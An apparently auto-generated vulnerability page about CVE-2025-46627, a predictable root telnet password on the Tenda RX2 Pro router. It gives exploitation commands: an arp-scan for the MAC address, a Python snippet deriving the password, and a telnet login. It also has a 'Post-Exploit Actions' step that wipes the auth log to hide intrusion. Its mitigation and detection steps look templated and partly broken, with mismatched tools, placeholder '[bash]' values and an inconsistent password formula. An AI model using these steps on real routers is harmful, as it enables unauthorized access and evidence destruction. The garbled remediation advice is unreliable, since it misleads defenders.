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How CVE-2025-46627 Works
The Tenda RX2 Pro router (v16.03.30.14) uses a predictable root password for its telnet service, derived from the last two octets of the device’s MAC address. An attacker can obtain the MAC address via network scanning or other reconnaissance methods, compute the weak password, and gain unauthorized root access. This flaw bypasses authentication entirely, enabling full device compromise, including configuration changes, malware deployment, or network traffic interception.
DailyCVE Form
Platform: Tenda RX2 Pro
Version: 16.03.30.14
Vulnerability: Weak Credentials
Severity: Critical
Date: 05/27/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation Commands
1. MAC Extraction (via ARP scan):
arp-scan --localnet | grep Tenda
2. Password Calculation (last two octets):
mac = "00:11:22:XX:YY" Replace XX:YY with last two octets
password = f"admin{mac[-5:].replace(':', '')}"
3. Telnet Access:
telnet 192.168.1.1 Username: root Password: [bash]
Mitigation Steps
1. Disable Telnet:
sudo systemctl disable telnetd
2. MAC Obfuscation:
ifconfig eth0 hw ether [bash]
3. Patch Validation:
opkg update && opkg upgrade tenda-firmware
Detection Script
import subprocess def check_telnet(ip): try: result = subprocess.run(["telnet", ip, "23"], timeout=5, capture_output=True) return "Login" in result.stderr.decode() except: return False
Firmware Analysis
- Extract Binwalk:
binwalk -e firmware.bin
- Check Credential Logic:
strings squashfs-root/bin/telnetd | grep "password"
Network Hardening
1. IPTables Rule:
iptables -A INPUT -p tcp --dport 23 -j DROP
2. SSH Replacement:
sudo apt install openssh-server && sudo systemctl start ssh
Post-Exploit Actions
- Backdoor Check:
crontab -l | grep -i "malicious"
- Log Wipe:
echo "" > /var/log/auth.log
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
